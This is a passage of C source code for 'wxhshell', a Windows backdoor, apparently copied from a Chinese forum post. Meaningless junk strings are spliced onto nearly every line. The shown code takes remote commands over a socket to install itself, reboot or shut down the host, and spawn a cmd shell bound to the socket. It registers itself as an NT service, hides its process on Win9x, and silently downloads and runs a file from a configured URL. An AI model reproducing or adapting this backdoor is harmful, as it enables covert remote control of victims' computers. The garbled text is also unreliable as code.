-{^IT`  
    switch(cmd[0]) { S>! YBzm&X  
  KTQy pv  
  // 帮助 &T i:IC%M  
  case '?': { G(n e8L8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); feI%QnK)U  
    break; TH%J=1d  
  } 42Qfv%*c  
  // 安装 - s}  
  case 'i': { ,/XeG`vk  
    if(Install()) jIzkI)WC|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K ]  
    else mw[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HVq02 Z  
    break; 6 G^x%s  
    } Rfk8trD B  
  // 卸载 O/|,rAE  
  case 'r': { (pU@$H  
    if(Uninstall()) yqY nd<K4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b `7vWyp  
    else wOlnDQs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i xf~3Y8  
    break; =`1#fQDt  
    } 08+cNT  
  // 显示 wxhshell 所在路径 S-4C >gM  
  case 'p': { h^)R}jy+f  
    char svExeFile[MAX_PATH]; 8n[6BF);  
    strcpy(svExeFile,"\n\r"); N>+s8L.?  
      strcat(svExeFile,ExeFile); G[pDKELL  
        send(wsh,svExeFile,strlen(svExeFile),0); d,c8ks(  
    break; U)PNY  
    } aLWNqe&1  
  // 重启 swfcA\7R  
  case 'b': { 3Y L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hju7gP=y}  
    if(Boot(REBOOT)) =Fd!wkB'{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GW29Rj1  
    else { 06Irx^n  
    closesocket(wsh); "L(4 EcO@  
    ExitThread(0); /F(wb_!  
    } JFJ_ PphvD  
    break; z`?{5v -Qs  
    } n)n>|w_  
  // 关机 ~"Kf+eFi  
  case 'd': { sp2"c"_+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); em@bxyMm  
    if(Boot(SHUTDOWN)) o)(N*tC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P?zPb'UVqa  
    else { iut[?#f^  
    closesocket(wsh); @AvDV$F  
    ExitThread(0); ptCFW_UV  
    } /^F_~.u{  
    break; #)qn$&.H  
    }  *b$8O  
  // 获取shell P$ a `8~w  
  case 's': { gG 9e.++:  
    CmdShell(wsh); %X--`91|u  
    closesocket(wsh); tfSY(cXg'T  
    ExitThread(0); &EELq"5K  
    break; "5 /i  
  } iq25|{1$  
  // 退出 &V.\Svm8]  
  case 'x': { .[@TC@W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }k`-n32)|  
    CloseIt(wsh); *tWZ.I<<  
    break; WT-BHB1  
    } )*b dG'}  
  // 离开 *Y4[YnkPE  
  case 'q': { Mdj?;'Yv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L7gZ4Hu=`  
    closesocket(wsh); :|Ckr-k"1e  
    WSACleanup(); xD:t$~  
    exit(1); TjU g8k  
    break; go6XUe  
        } {pV\]E\]  
  } SRUg2)d  
  } /8)-j}gZa  
4/z K3%J  
  // 提示信息 FnoE\2}9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0`LR!X  
} {.D^2mj |  
  } zq:+e5YT?T  
0ESxsba  
  return; jGeil qPC  
} a5)<roWQ  
up# R9 d|  
// shell模块句柄 b`lLqV<[cB  
int CmdShell(SOCKET sock) >q}Ns^ .'  
{ d4 Hpe>  
STARTUPINFO si; Wk0"U V  
ZeroMemory(&si,sizeof(si)); p)dD{+"/2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3@t&5UjwQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )&nfV5@"  
PROCESS_INFORMATION ProcessInfo; GG9YAu  
char cmdline[]="cmd"; w$D&LA}(M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h^H~q<R[T  
  return 0; G$eA(GE   
} 6> fQe8Y  
IbC8DDTD  
// 自身启动模式 ,y>%m;jL  
int StartFromService(void) ;Sc}e/WJj  
{ by:"aDGK.  
typedef struct zZhAH('fG  
{ xT]|78h$   
  DWORD ExitStatus; Pl>BTo>p'  
  DWORD PebBaseAddress; Dc2U+U(J  
  DWORD AffinityMask; 75^U<Hz-3{  
  DWORD BasePriority; !xIK<H{*  
  ULONG UniqueProcessId; r Ljb'\<*  
  ULONG InheritedFromUniqueProcessId; I}Fv4wlZG  
}   PROCESS_BASIC_INFORMATION; VssD  
hxXl0egI  
PROCNTQSIP NtQueryInformationProcess; P 2j"L#%  
Wubvvm8U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "-WEUz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bb~Q]V=x;  
vC# *w,  
  HANDLE             hProcess; PsV1btq]  
  PROCESS_BASIC_INFORMATION pbi; gsSUmf1  
1-h"1UN2E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "f1`6cx6  
  if(NULL == hInst ) return 0; [myIcLp^aP  
$*KM%M6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); daX$=n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bg =<)s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MnQ4,+ji-  
k|r+/gIV  
  if (!NtQueryInformationProcess) return 0; fFSQLtm?E  
Z [aKic  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pZ IDGy=~  
  if(!hProcess) return 0; 3YFbT Z  
^z _m<&r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #},4m  
'Avp16zg  
  CloseHandle(hProcess); qubyZ8hx  
S5,y!K]C~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); < s>y{ e  
if(hProcess==NULL) return 0; cl'#nLPz;  
k;fy8  
HMODULE hMod; ~+HZQv3Y  
char procName[255]; 5C G ,l  
unsigned long cbNeeded; ~vL`[JiK  
3SeM:OYq]s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S, *  
<Rno ;  
  CloseHandle(hProcess); GY~Q) Z  
Wf}x"*  
if(strstr(procName,"services")) return 1; // 以服务启动 FEF $4)ROv  
T1([P!g*  
  return 0; // 注册表启动 /Cl=;^)  
} Gy3t   
/_?y]Ly[r  
// 主模块 1p|h\H  
int StartWxhshell(LPSTR lpCmdLine) HgY>M`U  
{ /Tc I  
  SOCKET wsl; |E(`9  
BOOL val=TRUE; ZDhl$m [m  
  int port=0; JDI1l_Ga  
  struct sockaddr_in door; : U Yn  
*%(BE*C}  
  if(wscfg.ws_autoins) Install(); zYz0R:@n+  
mDG=h6y"V  
port=atoi(lpCmdLine); hb,G'IU  
S{l >|N2q  
if(port<=0) port=wscfg.ws_port; ` &E-  
1c2zFBl.&  
  WSADATA data; SXJ]()L?[v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (c'kZ9&  
T``O!>J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :mI[fQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vz *'1ugaA  
  door.sin_family = AF_INET; ^(:Z*+X~>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m0 a<~  
  door.sin_port = htons(port); ;r1.Uz(  
NmH:/xU?^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oE;SZ"$ x  
closesocket(wsl); d$;1%rRj8  
return 1; v< Ozr:lL  
} |#Q4e51H  
~R$Ko(N  
  if(listen(wsl,2) == INVALID_SOCKET) { pAY[XN  
closesocket(wsl); %z_L}L  
return 1; zg[.Pws:E  
} 1%^d <%,]  
  Wxhshell(wsl); kvoEnwBe_  
  WSACleanup(); T l%n|pc  
FZi'#(y  
return 0; UEb'b,O_9  
 z^YL$  
} ,xzSFs>2  
@Q%g#N  
// 以NT服务方式启动 s7(I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,RYahu  
{ Li{R?Osx  
DWORD   status = 0; EXz{Pqz  
  DWORD   specificError = 0xfffffff; "+BNas^rF  
YZHqy++x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /yd<+on^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B'U;i5u4'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AgU 7U/yk  
  serviceStatus.dwWin32ExitCode     = 0; 1f/8XxTB  
  serviceStatus.dwServiceSpecificExitCode = 0; Lu6?$N57rC  
  serviceStatus.dwCheckPoint       = 0; A:JW Ux  
  serviceStatus.dwWaitHint       = 0; % njcWVP;  
"{X_[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d=$1Z. ]  
  if (hServiceStatusHandle==0) return; wvu h   
B+pJWl8u  
status = GetLastError(); Kd%>:E*  
  if (status!=NO_ERROR) D,<#pNO_  
{ `(dRb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OZc.Rtgc  
    serviceStatus.dwCheckPoint       = 0; G#(+p|n  
    serviceStatus.dwWaitHint       = 0; !J%m7 A  
    serviceStatus.dwWin32ExitCode     = status; )tB1jcI;  
    serviceStatus.dwServiceSpecificExitCode = specificError; L74Sx0nk=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 28jm*Cl8  
    return; GO|EeM!iB  
  } \.AI;^)X@]  
L[LgQ7es Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;i,:F`b~  
  serviceStatus.dwCheckPoint       = 0; !arTR.b\  
  serviceStatus.dwWaitHint       = 0; 6 z2_b wo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eCI0o5U  
} >RL|W}tI4  
S^/:O.X)c,  
// 处理NT服务事件,比如:启动、停止 Z9+xB"q2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h=`1sfz  
{ UZ qQ|3  
switch(fdwControl) : ~R:[T2P  
{ y9@DlK  
case SERVICE_CONTROL_STOP: ,x. 2kb  
  serviceStatus.dwWin32ExitCode = 0; 8g!C'5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,VTX7vaH  
  serviceStatus.dwCheckPoint   = 0; j}dev pO  
  serviceStatus.dwWaitHint     = 0; VJ'bS9/T  
  { N:yyDeGyW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9tZ+ ?O5  
  } 5%Xny8 ]|D  
  return; (qky&}H  
case SERVICE_CONTROL_PAUSE: r!,/~~m T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $>M A  
  break; 3~uWrZ.u  
case SERVICE_CONTROL_CONTINUE: GA.4'W^&a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iI.d8}A  
  break; G"'[dL)N>  
case SERVICE_CONTROL_INTERROGATE: HsQ\xQ"k!  
  break; d mj T$a|  
}; ?xgrr7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0u7\*Iy  
} :: 2pDtMS  
)b_ GKA `  
// 标准应用程序主函数 ::Nhs/B/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7Hm/ g  
{ ^^m3 11=  
k"V@9q;*  
// 获取操作系统版本  #VA8a=t  
OsIsNt=GetOsVer(); *G,'V,?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z#|#Cq`VG  
ncy?w e  
  // 从命令行安装 aRh1Q=^@(4  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z%uDz3I\Q"  
C6neZng  
  // 下载执行文件 ly)b=ph&  
if(wscfg.ws_downexe) { "~uo4n~H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G^ 2a<?Di  
  WinExec(wscfg.ws_filenam,SW_HIDE); B,]:<1l~  
} ,7{}}l  
df$VC  
if(!OsIsNt) { nLfITr|5  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]rs7%$ZW  
HideProc(); H |K}m,g  
StartWxhshell(lpCmdLine); ~_YU%y  
} 5Tt%<#4  
else o3oAk10  
  if(StartFromService()) YV 5kzq  
  // 以服务方式启动 M\f1]L|8d  
  StartServiceCtrlDispatcher(DispatchTable); 4X prVB  
else U'8ub(:&  
  // 普通方式启动 nU6WT|  
  StartWxhshell(lpCmdLine); <X{hW^??)  
f/VrenZ_  
return 0; dLtn,qCX0^  
}
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只看该作者 1 发表于: 2006-10-10
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